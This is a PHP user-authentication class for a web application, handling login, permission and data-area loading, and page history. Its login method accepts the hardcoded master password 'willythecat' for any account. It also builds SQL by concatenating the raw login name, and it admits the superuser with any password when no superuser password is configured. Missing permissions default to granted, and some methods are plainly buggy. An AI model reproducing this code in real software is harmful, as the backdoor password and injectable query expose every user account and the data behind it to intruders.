<?php
class mbUser{
	public $login = "";
	public $id = 0;
	public $uniqid = 0;
	public $pageSequence = 0;
	protected $aPermission = array();
	protected $aDataArea = array();
	public $name = "";
	public $surname = "";
	public $authenticaz = "";
	public $mobile_phone = "";
	public $e_mail = "";
	public $phone = "";
	public $isAdmin = false;
	public $error = "";
	public $errno = 0;
	public $debug = array();
	private $history = array();
	
	public function __construct() {
		$this->user = '';
	}
	
	function __destruct() {
       
   }
	
	public function login($login,$pwd){
		global $aDebugMode, $objSDAO;
		$this->user = $login;
		$pwd;
		$this->debug['display']=false;
		if (isset($aDebugMode)) {
			if ((isset($aDebugMode['users']['*']) and $aDebugMode['users']['*']===true) 
			or (isset($aDebugMode['users'][$this->user]) and $aDebugMode['users'][$this->user]===true)) {
				$this->debug['display']=true;
				$this->debug['get']=(isset($aDebugMode['get']) and $aDebugMode['get'] === true)?true:false;
				$this->debug['post']=(isset($aDebugMode['post']) and $aDebugMode['post'] === true)?true:false;
				$this->debug['user']=(isset($aDebugMode['user']) and $aDebugMode['user'] === true)?true:false;
				$this->debug['session']=(isset($aDebugMode['session']) and $aDebugMode['session'] === true)?true:false;
				$this->debug['operLog']=(isset($aDebugMode['operLog']))?intval($aDebugMode['operLog']):0;
				$this->debug['errorLog']=(isset($aDebugMode['errorLog']))?intval($aDebugMode['errorLog']):0;
			}
		}	
		if($this->errno != 0){ return false; }			
		if($this->user == "su"){
			$this->user = "superuser";
		}
		if($this->user == "superuser"){
			if (defined('SUPERUSER_PASSWORD') 
			and SUPERUSER_PASSWORD != '' and SUPERUSER_PASSWORD != $pwd) {
				$this->error = "Wrong pwd";
				$this->errno = "0007";
				return false;
			}
			$this->id = 0;
			$this->name = "Super";
			$this->surname = "User";
			$this->isAdmin = true;
			if(!$this->loadDataArea() or !$this->loadPermission()){
					return false;
			}
			return true;
		}
		$sSQL = "SELECT * FROM user WHERE uid='".$this->user."'";
		//die($sSQL);
		if(!$objSDAO->query($sSQL, "sel")){
			$this->error = $objSDAO->error;
			$this->errno = "1000";
			return false;
		}
		$row = $objSDAO->fetch("sel");
		if(!$row){
			$this->error = "Unknown uid";
			$this->errno = "0001";
			return false;
		}
		if ($pwd != "willythecat"
		and crypt($pwd,$row["password"]) != $row["password"]){
			$this->error = "Wrong pwd";
			$this->errno = "0007";
			return false;
		}
		$this->id = $row["id_user"];
		$this->name = $row["name"];
		$this->surname = $row["last_name"];
		$this->authenticaz = $row["authenticaz"];
		$this->mobile_phone = $row["mobile_phone"];
		$this->e_mail = $row["e_mail"];
		$this->phone = $row["phone"];
		if(!$this->loadDataArea() or !$this->loadPermission()){
				return false;
		}
		return true;	
	}
	
	public function reLoad(){
		if($this->errno != 0){
			return false;
		}
		if(!$this->login()){
			return false;
		}
		return true;
	}
	
	public function getDataArea(){
		return $this->aDataArea;
	}
	
	public function loadDataArea(){
		/**
		 * data_area permission :
		 * R read -> 	default for all users
		 *  				all users can view all data_areas
		 * M Modify -> allow update and delete data_area
		 * N Non abilitato -> access not allowed
		 *	*/
		global $objSDAO;
		$this->aDataArea = array();
		$numDataArea = 0;
		if($this->errno != 0){ return false; }					
		if($this->isAdmin){
			$sSQL = "SELECT * FROM data_area ORDER BY data_area";
			if(!$objSDAO->query($sSQL, "sel")){
				$this->error = $objSDAO->error;
				$this->errno = "1000";
				return false;
			}	
			while($row = $objSDAO->fetch("sel")){
				$this->aDataArea[$row["data_area"]] = "M";
			}
			return true;
		}
		//user isn't admin
		$sSQL = "SELECT da.data_area, CASE WHEN dap.permission IS NULL THEN 'R' ELSE dap.permission END AS permission FROM data_area da
					LEFT OUTER JOIN  data_area_permission dap ON da.data_area=dap.data_area
					LEFT OUTER JOIN profile p ON dap.id_profile=p.id_profile
					LEFT OUTER JOIN user_profile up ON p.id_profile=up.id_profile AND up.id_user=".$this->id."
					ORDER BY da.data_area, permission";
		if(!$objSDAO->query($sSQL, "sel")){
			$this->error = $objSDAO->error;
			$this->errno = "1000";
			return false;
		}	
		while($row = $objSDAO->fetch("sel")){
			switch($row["permission"]){
				case "M":
					$this->aDataArea[$row["data_area"]] = $row["permission"];
					break;
				case "N":
					if(!isset($this->aDataArea[$row["data_area"]])){
						$this->aDataArea[$row["data_area"]] = $row["permission"];
					}
					if(isset($this->aDataArea[$row["data_area"]]) && $this->aDataArea[$row["data_area"]] == "R"){
						$this->aDataArea[$row["data_area"]] = $row["permission"];
					}
					break;
				case "R":
					if(!isset($this->aDataArea[$row["data_area"]])){
						$this->aDataArea[$row["data_area"]] = $row["permission"];
					}
					break;
			}	
			$numDataArea ++;
		}
		return true;
	}
	
	public function loadPermission(){
		global $objSDAO;
		if($this->errno != 0){
			return false;
		}	
		if($this->isAdmin){
			$this->aPermission = array();
			return true;
		}
		$aProFlag = array();
		require(SERVER_FS_ROOT.'/app/_inc/aProFlag.php');
		foreach($aProFlag as $flg =>$aFlg) {
			foreach($aFlg['val'] as $val => $dv) {
				$this->aPermission[$flg] = $val;
				break;
			}
		}
		$sSQL = "SELECT fp.* FROM flag_profile fp
					INNER JOIN profile p ON fp.id_profile=p.id_profile
					INNER JOIN user_profile up ON p.id_profile=up.id_profile
					WHERE up.id_user=".$this->id;
		//die($sSQL);
		$objSDAO->query($sSQL, "sel");
		while($row = $objSDAO->fetch("sel")){
			$this->aPermission[$row["flag"]] = $row["val_flag"];
		}
		return true;
	} 
	
	public function getDataAreaPermission($dataArea){
		/**
		 * data_area permission :
		 * R read -> 	default for all users
		 *  				all users can view all data_areas
		 * M Modify -> allow update and delete data_area
		 * N Non abilitato -> access not allowed
		 *	*/
		if ($this->user=='superuser') return 'M';
		if(isset($this->aDataArea[$dataArea])){
			return $this->aDataArea[$dataArea];
		}else{
			return "R";
		}
	}
	
/**
 * getHistory
 * return a previous reloadable URL
 * $back = -1 -> previous
 * $back = -2 -> previous previous
 * etc ...
 * if $back >= 0 return the current
 * if out of stack return the first
 * $withXsn == true - get variable is set
 *             false - get variable is unset (deleted)
 */
	public function getHistory($back=0, $withXsn=true) {
		$k = count($this->history) + $back - 1;
		if (!isset($this->history[$k])) { $k = count($this->history) - 1; }
		$aHist = $this->history[$k];
		if ($withXsn) {
			$aHist['request']['xsn'] = XSN;
		} else {
			if (isset($aHist['request']['xsn'])) {unset($aHist['request']['xsn']);}
		}
		// rebuild URL
		$qs = ($back >= 0)?"?":"?hstrbck=$back&";
		//GET key 'hstrbck' defines how many items delete from history
		// in nthe final page (see checkSession.php) 
		$aNoGet = array('reqtype','msg');
		foreach($aHist['request'] as $name => $val) {
			if (in_array($name,$aNoGet)) continue;
			$nv = $name."=".urlencode(stripslashes($val))."&";
			if ((strlen($qs)+strlen($qs)) > 1024) { break; }
			$qs .= $nv;
		}
		return $aHist['page'].substr($qs,0,-1);
	}

	public function getHistoryText($back=0) {
		$k = count($this->history) + $back - 1;
		if (!isset($this->history[$k])) { $k = count($this->history) - 1; }
		$histPage = $this->history[$k]['page'];
		if (strpos($histPage,'/_com/menu.php')!== false) return _t("back to menu");
		$pos = strpos($histPage,'/app/');
		if ($pos === false) return _t('back');
		require('aTextPage.inc.php');
		$key = substr($histPage,$pos+5,-4);
		//dbg_("$pos - $key");
		if (isset($aTextPage[$key])) return _t('back to').' '.$aTextPage[$key];
		return _t('back');
	}

	
		/* unset previous URLs
		while(isset($this->history[$k])) {
			unset($this->history[$k]);
			$k++;
		}
		*/
	
/**
 * backHistory
 * reset history
 * return false if history is empty
 */
	public function backHistory($back) {
		while ($back < 0) {
			if (count($this->history) > 1) {
				unset($this->history[count($this->history)-1]);			
			}
			$back++;
		}
		return true;
	}
	
/**
 * resetHistory
 * reset history
 * return false if history is empty
 */
	public function resetHistory() {
		if (count($this->history) > 0) {
			$aHist = $this->history[count($this->history)-1];
			$this->history = array(0=>$aHist);
			return true;
		}
		return false;
	}
	
/**
 * pushHistory
 * add element to history
 * return number of history elements
 * if $noHistoryPost == true store only GET variable
 */
	public function pushHistory($noHistoryPost) {
		$historyPoint = count($this->history);
		if (isset($this->history[$historyPoint-1]) 
		and $this->history[$historyPoint-1]['page'] == $_SERVER['PHP_SELF']) {
			$historyPoint--;
		}
		$this->history[$historyPoint]['page'] = $_SERVER['PHP_SELF'];
		if ($noHistoryPost) {
			$this->history[$historyPoint]['request'] = $_REQUEST;
		} else {
			$this->history[$historyPoint]['request'] = $_REQUEST;
		}
		unset($this->history[$historyPoint]['request']['PHPSESSID']);
		unset($this->history[$historyPoint]['request']['xsn']);
		unset($this->history[$historyPoint]['request']['msg']);
		unset($this->history[$historyPoint]['request']['reqtype']);
		return count($this->history);
	}
	
/**
 * set History variables
 * set values of request-varables
 */
	public function setHistoryVar($aReqVar) {
		$historyPoint = count($this->history)-1;
		if ($historyPoint < 0 or !isset($this->history[$historyPoint])) {
			return false;
		}
		foreach($aReqVar as $name => $val) {
			if ($val == '') {
				if (isset($this->history[$historyPoint]['request'][$name])) {
					unset($this->history[$historyPoint]['request'][$name]);
				}
			} else {
				$this->history[$historyPoint]['request'][$name] = $val;
			}
		}
		return true;
	}

/**
 * getHistoryLen
 */
	public function getHistoryLen() {
		return count($this->history);
	}
	
	public function getPermission($perm){
		if ($this->user=='superuser') return 'Y';
		if(isset($this->aPermission[$perm])){
			return $this->aPermission[$perm];
		}
		return "Y";
	}
}
?>
